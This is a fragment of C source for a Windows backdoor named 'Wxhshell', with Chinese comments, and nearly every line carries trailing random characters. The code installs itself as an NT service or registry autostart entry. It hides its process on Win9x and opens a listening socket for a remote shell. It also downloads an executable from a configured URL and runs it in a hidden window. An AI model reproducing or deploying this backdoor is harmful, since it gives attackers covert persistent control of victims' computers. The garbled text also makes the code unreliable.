DWORD BasePriority; n-cz xq%n
ULONG UniqueProcessId; Xu1tN9:oE
ULONG InheritedFromUniqueProcessId; kdWk{ZT^
} PROCESS_BASIC_INFORMATION; x{B%TM-Ey
CpAdE m{
PROCNTQSIP NtQueryInformationProcess; U73{Uv
{FavF 9O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,a I0Aw
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p^LUyLG`
XOM@Pi#z
HANDLE hProcess; n{~Ws^d
PROCESS_BASIC_INFORMATION pbi; Y^? J3[@
}tIIA"dZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iCouGd}
if(NULL == hInst ) return 0; .&53WL[D|
,UdTUw~F
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ijYSYX@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 27;t,Oq}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UeVRd
P2nb&lVdu
if (!NtQueryInformationProcess) return 0; !2('Cq_^
~D4%7U"dv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0!n6tz lT
if(!hProcess) return 0; ]i=\5FH e
kpkN GQ2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mn=G6h
T}W
cD6$C31Y]
CloseHandle(hProcess); .[-d( #l{l
C^po*(W6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?PIOuN=
if(hProcess==NULL) return 0; K"cN`Kj<*-
8"a[W3b
HMODULE hMod;
\|Qx`-
char procName[255]; e1dT~l
unsigned long cbNeeded; 5o~;0K]
Ksq{=q-T
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dpO ZqhRs.
io]e]m%
CloseHandle(hProcess); 1)aB']K%
:bLLN
if(strstr(procName,"services")) return 1; // 以服务启动 FuNc#n>
CL*i,9:NR
return 0; // 注册表启动 c}II"P
} C?bq7kD:H
!\a'GO[
// 主模块 zR'lQ<u
int StartWxhshell(LPSTR lpCmdLine) F*F
U[ 5
{ /5@V $c8
SOCKET wsl; :QnN7&j|(w
BOOL val=TRUE; h sVf/%
int port=0; g/b_\__A
struct sockaddr_in door; P9/5M4]tt
/q4<ZS#
if(wscfg.ws_autoins) Install(); z?HP%g'M~
D>u1ngu
port=atoi(lpCmdLine); *dn~-W.
H|4O`I;~(
if(port<=0) port=wscfg.ws_port; ]q0mo1-EZ!
'H<0:bQ=I
WSADATA data; D7b<&D@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \v7M`! &
6@-VLO))O
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M`$s
dZ"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }fW@8ji\
door.sin_family = AF_INET; P1b5=/}:V
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vMsb@@O\ \
door.sin_port = htons(port); \gRX:i#n
(
w(GJ/g
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3T$gT
closesocket(wsl); i0ax`37
return 1; p4;A[2Ot`:
} he0KzwBF
DUc
-D==
if(listen(wsl,2) == INVALID_SOCKET) { Iaf"j 2B
closesocket(wsl); }vkrWy^
return 1; [XWY-q#Gg
} (&4aebkZO
Wxhshell(wsl); Lrgv:n
WSACleanup(); PsTPGK#S
`1F[.DdF
return 0; >&mlwxqv
cB
U,!
} vgSs]g
@Iz vObK
// 以NT服务方式启动 %EYh5W
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P SDzs\s
{ C2;qSKG3{m
DWORD status = 0; 0FfBD[E:
DWORD specificError = 0xfffffff; &k+G^ !=s#
Paz
yY
serviceStatus.dwServiceType = SERVICE_WIN32; xQX,1NbH5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >OVi{NyT
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L+7j4:$B8
serviceStatus.dwWin32ExitCode = 0; A0sydUc
serviceStatus.dwServiceSpecificExitCode = 0; Ep/4o<N(
serviceStatus.dwCheckPoint = 0; s5T$>+
a
serviceStatus.dwWaitHint = 0; nS0K&MH6B
E~5r8gM,0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .L[WvAo
if (hServiceStatusHandle==0) return; h
V@C|*A
*R.Q!Lv+
status = GetLastError(); {dV#"+
if (status!=NO_ERROR) RwMK%^b
{ 76a+|TzR
serviceStatus.dwCurrentState = SERVICE_STOPPED; vr<6j/ty
serviceStatus.dwCheckPoint = 0; $}0q=Lg%wv
serviceStatus.dwWaitHint = 0; 0S <;T+WA
serviceStatus.dwWin32ExitCode = status; /T`L;YE
serviceStatus.dwServiceSpecificExitCode = specificError; O^v^GG=e;C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Ui1Mm
return; 4:-h\%
} !uLW-[F,
JX,&im*BG
serviceStatus.dwCurrentState = SERVICE_RUNNING; lwhAF, '$
serviceStatus.dwCheckPoint = 0; iva&W
serviceStatus.dwWaitHint = 0; ru,]!YPJE2
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5;5;bBo~
} mAh0xgm
d?(#NP#;
// 处理NT服务事件,比如:启动、停止 5inmFT?9Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q.Hy"~
{ nYG$V)iCb
switch(fdwControl) @BWroNg{
{ 0lR/6CB
case SERVICE_CONTROL_STOP: !> T.*8
serviceStatus.dwWin32ExitCode = 0; fyIL/7hzf4
serviceStatus.dwCurrentState = SERVICE_STOPPED; w*[i!i
serviceStatus.dwCheckPoint = 0; "/Fp_g6#:
serviceStatus.dwWaitHint = 0; _V6jn~N
{ lj$\2B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8FyJo.vr(
} z5-vx `
return; Z.+-MN WV
case SERVICE_CONTROL_PAUSE: ZzPlIl}\
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9\RSJGx6
break; 8MgoAX,p
case SERVICE_CONTROL_CONTINUE: )Q\nR`k
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2%"2~d7
break; az@{O4
case SERVICE_CONTROL_INTERROGATE: U.<';fKnT
break; J
>Zd0Dn
}; /v"u4Ipj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u9rlNmf$
} _hyboQi
{s!DRc]ln
// 标准应用程序主函数 I=X-e#HM?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wf/Gt\?
{ n5dFp%k
O,6Upk
// 获取操作系统版本 1lZl10M:f
OsIsNt=GetOsVer(); 2C^/;z
GetModuleFileName(NULL,ExeFile,MAX_PATH); iErY2~?
~;O|$xL
// 从命令行安装 .VN "j
if(strpbrk(lpCmdLine,"iI")) Install(); )O~LXK=b
@.ebQR-:H
// 下载执行文件 v'0A$`w`
if(wscfg.ws_downexe) { Ovh
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z?`&HU Nf
WinExec(wscfg.ws_filenam,SW_HIDE); mY?^]3-_
} {#N](yUm
#UL:#pY
if(!OsIsNt) { 22S4q`j
// 如果时win9x,隐藏进程并且设置为注册表启动 An cmSi
HideProc(); $6.CN#
StartWxhshell(lpCmdLine); 8B;wn<O
} H%NIdgo}
else nPh5(&E
if(StartFromService()) w1B!z
// 以服务方式启动 [YG\a5QK
StartServiceCtrlDispatcher(DispatchTable); @ SaU2
else n[ip'*2L
// 普通方式启动 E>f+ E8?
StartWxhshell(lpCmdLine); B9pro%R1Bo
j+AAhn
return 0; d;O16xcM/
}